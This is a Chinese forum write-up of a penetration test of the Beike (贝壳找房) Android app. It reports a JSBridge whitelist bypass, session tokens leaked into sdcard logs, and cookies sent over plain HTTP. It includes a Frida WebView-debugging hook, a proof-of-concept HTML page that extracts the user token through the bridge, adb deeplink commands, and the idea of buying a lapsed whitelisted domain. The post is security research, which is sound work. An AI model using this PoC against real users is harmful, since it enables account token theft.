首页
社区
课程
招聘
贝壳APP渗透测试WP
2024-6-1 12:44 10578

贝壳APP渗透测试WP

2024-6-1 12:44
10578

在贝壳找房APP上发现JSBridge鉴权绕过,TOKEN写入sdcard目录日志文件,HTTP明文传输COOKIE等安全问题。这是我第一次系统性渗透测试APP,写篇WP记录下

前期配置

环境说明

使用PIXEL 4手机,为Android 12系统

APP名为贝壳找房,包名com.lianjia.beike,版本号3.01.10,截至2024/05/07为最新版,小米应用市场下载

绕过反Frida机制

可以参考往期推送,《绕过最新版bilibili APP反Frida机制》,见文章末尾。Bypass.js脚本可以通用,应该都是用的某个安卓安全产品

抓包

抓包有两个地方会踩坑:1)要把Burp的证书安装为系统证书,贝壳APP不信任用户证书;2)贝壳APP默认不走系统设置的代理,要使用Drony等软件

对于问题1,可以使用Magisk的MoveCertificate模块[1]。对于问题2,Drony可在Google搜索下载,使用教程网上很多,不赘述

信息搜集

DEEPLINK

在AndroidMainfest.xml中可以看到如下SCHEME,使用lianjiabeike://等作为特征字符串即可搜集到大部分DEEPLINK

重点关注一些能发起网络请求的DEEPLINK,如下所示,调用该DEEPLINK可以指定URL打开一个WEBVIEW

在shell中打开该DEEPLINK可以使用命令am start -a android.intent.action.VIEW -W -d "lianjiabeike://web/main?url=URL编码(网页URL)"

WEB接口

配置Burp抓包后多操作一些APP功能,有意识地搜集一些WEB接口即可

落地文件

重点关注/sdcard/Android/data/com.lianjia.beike目录下的落地文件,重点关注后缀名为log, js的文件,前者可能有敏感信息泄露问题,后者可能会作为页面/代码加载执行

在/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录发现.xlog文件,通过搜索发现xlog是腾讯mars日志模块产生的日志文件[3],并且不是纯文本格式,需要解码

安全问题

JSBridge鉴权

鉴权实现

JSBridge鉴权绕过是经典问题了,论文[2]发表于2022年,讨论了47个顶流APP的JSBridge鉴权漏洞,发表后各厂商更进修复了一轮

贝壳的JSBridge实现方式有点不同,如下所示,只有当DOMAIN在白名单内时才会调用addJavascriptInterface注册接口。也就是先鉴权,再注册JSBridge,而其它实现方式基本上是先注册JSBridge,调用接口时再鉴权

白名单如下,对于.开头的域名,表示匹配该域名的所有子域名,对于非.开头的域名,表示只匹配该域名。

为了方便调试,首先要通过HOOK手段打开APP内WEBVIEW的调试功能,通过重写android.webkit.WebView的构造函数强制调用setWebContentsDebuggingEnabled方法打开调试功能,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function open_webview_debug() {
    Java.perform(function () {
        var WebView = Java.use('android.webkit.WebView');
         
        WebView.$init.overloads.forEach(function(init) {
            init.implementation = function() {
                // 调用原始构造方法
                var instance = init.apply(this, arguments);
                 
                // 打开WebView的调试功能
                WebView.setWebContentsDebuggingEnabled(true);
                 
                console.log('[*] WebView调试已开启');
                 
                // 返回实例
                return instance;
            };
        });
    });
}

然后在Chrome浏览器中点击inspect即可调试对应WEBVIEW

先通过window.location="https://ddd.ehomepay.com"切换到一个在白名单里面的域名,然后就可以调试JSBridge调用方法。如下所示,发现window.HybridBridgeLJ._getStaticData()可以获取TOKEN,在实验中发现,只需要该TOKEN,就可以请求大多数接口

页面返回绕过

我HOOK了checkDomainEffective方法,在观察日志时发现在WEBVIEW中返回上一个页面时不会调用该方法,于是想到一种可能的路径:进入PAYLOAD网页 -> 跳转至白名单URL注册JSBridge -> 返回上一个页面且保留了JSBridge。POC HTML代码及演示视频如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
  </head>
  <body>
    <button onclick="poc()" id="go_to">POC</button>
    <script>
      function poc() {
          window.location.href = "http://jj8.ehomepay.com"
      }
 
      var internal = setInterval(function () {
        const token = window.HybridBridgeLJ._getStaticData()
        if (token != undefined) {
          clearInterval(internal)
          alert(token)
        }
      }, 1)
    </script>
  </body>
</html>

注册域名绕过

白名单中的域名ehomepay.com正在出售,可以直接买了接管。bkjk.cn域名似乎已经废弃不用,查询whois信息发现今年9月份过期

TOKEN写入日志

将/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录下的xlog拉取到本地,使用mars库提供的日志解码脚本(decode_mars_nocrypt_log_file.py)成功解码日志。注意这个脚本需要python2环境运行

解码后发现TOKEN,如下所示

只要有该TOKEN就能请求绝大多数接口了,如下图所示。部分接口还需要Authorization HEADER字段,该字段的生成算法可以在APK中找到。

HTTP明文传输COOKIE

通过ADB打开http://ke.com,发现COOKIE可以经过HTTP传输,会导致中间人攻击。adb shell am start -a android.intent.action.VIEW -W -d "lianjiabeike://web/main?url=http://ke.com"

总结

还有很多攻击面没有探索,比如DEEPLINK打开WEBVIEW时由于携带COOKIE可能会有CSRF问题,以及绑定第三方账号的接口。

外部链接

[1] https://github.com/ys1231/MoveCertificate

[2] https://www.usenix.org/system/files/sec22-zhang-lei.pdf

[3] https://juejin.cn/post/6850418121279438855

[4] https://github.com/Tencent/mars/blob/master/mars/xlog/crypt/decode_mars_nocrypt_log_file.py


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 6
打赏
分享
最新回复 (2)
雪    币: 3613
活跃值: (4543)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
KerryS 2024-6-2 05:01
2
1
博阅怎么不继续研究混淆和反混淆那些了,整点脱壳也好呀
雪    币: 450
活跃值: (820)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tmi 2024-6-3 10:53
3
0
游客
登录 | 注册 方可回帖
返回